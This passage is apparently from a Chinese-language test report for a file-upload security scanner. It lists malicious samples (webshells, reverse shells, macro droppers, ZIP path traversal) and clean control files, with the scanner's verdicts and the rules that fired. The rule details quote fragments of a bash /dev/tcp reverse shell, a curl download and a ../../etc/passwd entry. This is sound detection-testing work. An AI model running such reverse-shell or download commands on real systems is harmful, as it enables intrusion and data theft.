- **实际**: `reject` (score=100.0, action=reject)
|
||
- **判定理由**: 文件类型 .jsp 不在允许清单内
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.jsp |
|
||
| `yara` | `L2B` | `low` | `C3_JSP_Webshell_RuntimeExec` | 85.0 | YARA 规则 C3_JSP_Webshell_RuntimeExec 命中(标签:无) |
|
||
|
||
#### ✅ L7-026 — `shell_nc.sh`
|
||
|
||
- **描述**: NC 反弹 Shell
|
||
- **文件大小**: 42 B
|
||
- **预期**: `malicious`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 ShellScriptDangerous 命中:脚本包含反弹 Shell 特征(netcat -e 反弹 Shell)
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.sh |
|
||
| `structure` | `L0` | `critical` | `ShellScriptDangerous` | 85.0 | 脚本包含反弹 Shell 特征(netcat -e 反弹 Shell) |
|
||
| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_NC` | 85.0 | YARA 规则 C7_Linux_ReverseShell_NC 命中(标签:无) |
|
||
| `yara` | `L2B` | `low` | `Test_ReverseShell_Basic` | 10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) |
|
||
|
||
#### ✅ L7-027 — `shell_php_eval.php`
|
||
|
||
- **描述**: PHP eval 一句话木马
|
||
- **文件大小**: 40 B
|
||
- **预期**: `reject`
|
||
- **实际**: `reject` (score=100.0, action=reject)
|
||
- **判定理由**: 文件类型 .php 不在允许清单内
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.php |
|
||
| `yara` | `L2B` | `low` | `C3_PHP_Webshell_Oneliner` | 85.0 | YARA 规则 C3_PHP_Webshell_Oneliner 命中(标签:无) |
|
||
|
||
#### ✅ L7-028 — `shell_php_obf.php`
|
||
|
||
- **描述**: PHP 混淆木马
|
||
- **文件大小**: 61 B
|
||
- **预期**: `reject`
|
||
- **实际**: `reject` (score=100.0, action=reject)
|
||
- **判定理由**: 文件类型 .php 不在允许清单内
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.php |
|
||
| `yara` | `L2B` | `high` | `C3_PHP_Webshell_Obfuscated` | 65.0 | YARA 规则 C3_PHP_Webshell_Obfuscated 命中(标签:无) |
|
||
|
||
#### ✅ L7-029 — `shell_python.py`
|
||
|
||
- **描述**: Python 反弹脚本
|
||
- **文件大小**: 211 B
|
||
- **预期**: `suspicious`
|
||
- **实际**: `suspicious` (score=30.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.py
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.py |
|
||
|
||
#### ✅ L7-030 — `shortcut.lnk`
|
||
|
||
- **描述**: 恶意 .lnk 快捷方式
|
||
- **文件大小**: 143 B
|
||
- **预期**: `suspicious`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 RemoteDownloadUnix 命中:词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['md.exe /c curl http://ev']
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.lnk |
|
||
| `keywords` | `L2B` | `high` | `RemoteDownloadUnix` | 30.0 | 词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['md.exe /c curl http://ev'] |
|
||
|
||
#### ✅ L7-031 — `template_backdoor.docx`
|
||
|
||
- **描述**: 模板后门 DOCX
|
||
- **文件大小**: 2,176 B
|
||
- **预期**: `malicious`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 AttachedTemplate 命中:word/settings.xml 关联了外部模板,可能触发模板注入
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `document` | `L2` | `high` | `AttachedTemplate` | 45.0 | word/settings.xml 关联了外部模板,可能触发模板注入 |
|
||
|
||
#### ✅ L7-032 — `vba_autoexec.bas`
|
||
|
||
- **描述**: VBA AutoOpen 宏
|
||
- **文件大小**: 98 B
|
||
- **预期**: `malicious`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 VBAAutoExecShell 命中:VBA 宏检测到 AutoOpen/Workbook_Open 等自动执行入口 + Shell/CreateObject 等危险调用(纯文本扫描)
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `document` | `L2` | `critical` | `VBAAutoExecShell` | 70.0 | VBA 宏检测到 AutoOpen/Workbook_Open 等自动执行入口 + Shell/CreateObject 等危险调用(纯文本扫描) |
|
||
| `keywords` | `L2B` | `high` | `RemoteDownloadUnix` | 30.0 | 词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['md.exe /c curl http://ev'] |
|
||
|
||
#### ✅ L7-033 — `wps_macro.js`
|
||
|
||
- **描述**: WPS JS 宏
|
||
- **文件大小**: 142 B
|
||
- **预期**: `malicious`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 ReverseShellNetcat 命中:词表命中:ReverseShellNetcat(模式=regex),命中 2 处:["/bash -c 'bash -i >& /dev/tcp/", 'ash -i >& /dev/tcp/10.0.0.5/4']
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.js |
|
||
| `keywords` | `L2B` | `critical` | `ReverseShellNetcat` | 40.0 | 词表命中:ReverseShellNetcat(模式=regex),命中 2 处:["/bash -c 'bash -i >& /dev/tcp/", 'ash -i >& /dev/tcp/10.0.0.5/4'] |
|
||
| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_Bash` | 85.0 | YARA 规则 C7_Linux_ReverseShell_Bash 命中(标签:无) |
|
||
| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_Misc` | 25.0 | YARA 规则 C7_Linux_ReverseShell_Misc 命中(标签:无) |
|
||
| `yara` | `L2B` | `low` | `Test_ReverseShell_Basic` | 10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) |
|
||
|
||
#### ✅ L7-034 — `zip_traversal.zip`
|
||
|
||
- **描述**: ZIP 路径穿越(旧版)
|
||
- **文件大小**: 164 B
|
||
- **预期**: `malicious`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 PathTraversal 命中:归档内含路径穿越条目:../../etc/passwd
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `PathTraversal` | 50.0 | 归档内含路径穿越条目:../../etc/passwd |
|
||
| `extractor` | `L0` | `critical` | `PathTraversalBlocked` | 50.0 | 已拦截路径穿越条目:../../etc/passwd |
|
||
|
||
#### ✅ L7-035 — `neg_tmp1.zip`
|
||
|
||
- **描述**: 占位残留 tmp zip
|
||
- **文件大小**: 22 B
|
||
- **预期**: `clean`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
### NEG
|
||
|
||
#### ✅ NEG-001 — `NEG-001_clean.jpg`
|
||
|
||
- **描述**: 业务标准JPG图片
|
||
- **文件大小**: 204 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ NEG-002 — `NEG-002_clean.png`
|
||
|
||
- **描述**: 业务PNG图片
|
||
- **文件大小**: 208 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ NEG-003 — `NEG-003_clean.mp4`
|
||
|
||
- **描述**: 业务MP4视频
|
||
- **文件大小**: 212 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ NEG-004 — `NEG-004_clean.docx`
|
||
|
||
- **描述**: 业务正常docx报表
|
||
- **文件大小**: 281 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ NEG-005 — `NEG-005_clean.xlsx`
|
||
|
||
- **描述**: 业务正常xlsx表格
|
||
- **文件大小**: 275 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ NEG-006 — `NEG-006_clean.pdf`
|
||
|
||
- **描述**: 业务正常PDF报告
|
||
- **文件大小**: 14 B
|
||
- **预期**: `pass`
|
||
- **实际**: `suspicious` (score=20.0, action=pass_with_flag)
|
||
- **判定理由**: 风险评分 20.0
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `medium` | `MalformedStructure` | 20.0 | PDF 尾部缺少交叉引用表或 startxref 标记 |
|
||
| `document` | `L2` | `low` | `PdfParseFailed` | 0.0 | PDF 解析失败:startxref not found |
|
||
|
||
#### ✅ NEG-007 — `NEG-007_clean.java`
|
||
|
||
- **描述**: 业务源码java文件
|
||
- **文件大小**: 94 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ NEG-008 — `NEG-008_clean.py`
|
||
|
||
- **描述**: 业务源码python脚本
|
||
- **文件大小**: 73 B
|
||
- **预期**: `pass`
|
||
- **实际**: `suspicious` (score=30.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.py
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.py |
|
||
|
||
#### ✅ NEG-009 — `NEG-009_clean.zip`
|
||
|
||
- **描述**: 正常业务压缩包zip
|
||
- **文件大小**: 285 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ NEG-010 — `NEG-010_clean.exe`
|
||
|
||
- **描述**: 正常业务安装包(干净开源)
|
||
- **文件大小**: 104 B
|
||
- **预期**: `pass`
|
||
- **实际**: `suspicious` (score=55.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.exe
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
|
||
|
||
#### ✅ NEG-011 — `NEG-011_clean.log`
|
||
|
||
- **描述**: 正常日志文件
|
||
- **文件大小**: 90 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ NEG-012 — `NEG-012_clean.csv`
|
||
|
||
- **描述**: 正常csv业务数据文件
|
||
- **文件大小**: 52 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ NEG-013 — `NEG-013_clean.eml`
|
||
|
||
- **描述**: 正常eml业务邮件(无附件、无外联恶意)
|
||
- **文件大小**: 121 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ NEG-014 — `NEG-014_clean.dll`
|
||
|
||
- **描述**: 正常dll(系统干净dll)
|
||
- **文件大小**: 104 B
|
||
- **预期**: `pass`
|
||
- **实际**: `suspicious` (score=55.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.dll
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.dll |
|
||
| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
|
||
|
||
#### ✅ NEG-015 — `NEG-015_clean.ttf`
|
||
|
||
- **描述**: 正常字体文件ttf
|
||
- **文件大小**: 204 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ NEG-016 — `NEG-016_clean.dwg`
|
||
|
||
- **描述**: 正常CAD图纸
|
||
- **文件大小**: 206 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ NEG-017 — `NEG-017_4layer_nested.zip`
|
||
|
||
- **描述**: 多层嵌套干净zip(无风险)
|
||
- **文件大小**: 142 B
|
||
- **预期**: `pass`
|
||
- **实际**: `suspicious` (score=35.0, action=manual_review)
|
||
- **判定理由**: 风险评分 35.0
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `medium` | `MalformedStructure` | 25.0 | ZIP/OOXML 包结构损坏: File is not a zip file |
|
||
| `extractor` | `L0` | `medium` | `ArchiveBroken` | 10.0 | ZIP 结构损坏:File is not a zip file |
|
||
|
||
#### ✅ NEG-018 — `NEG-018_clean.bat`
|
||
|
||
- **描述**: 正常bat运维脚本(内网备份)
|
||
- **文件大小**: 71 B
|
||
- **预期**: `pass`
|
||
- **实际**: `suspicious` (score=30.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.bat
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.bat |
|
||
|
||
#### ✅ NEG-019 — `NEG-019_clean.ps1`
|
||
|
||
- **描述**: 正常ps1运维脚本(内网查询)
|
||
- **文件大小**: 75 B
|
||
- **预期**: `pass`
|
||
- **实际**: `suspicious` (score=30.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.ps1
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.ps1 |
|
||
|
||
#### ✅ NEG-020 — `NEG-020_clean.odt`
|
||
|
||
- **描述**: 正常odt文档
|
||
- **文件大小**: 277 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|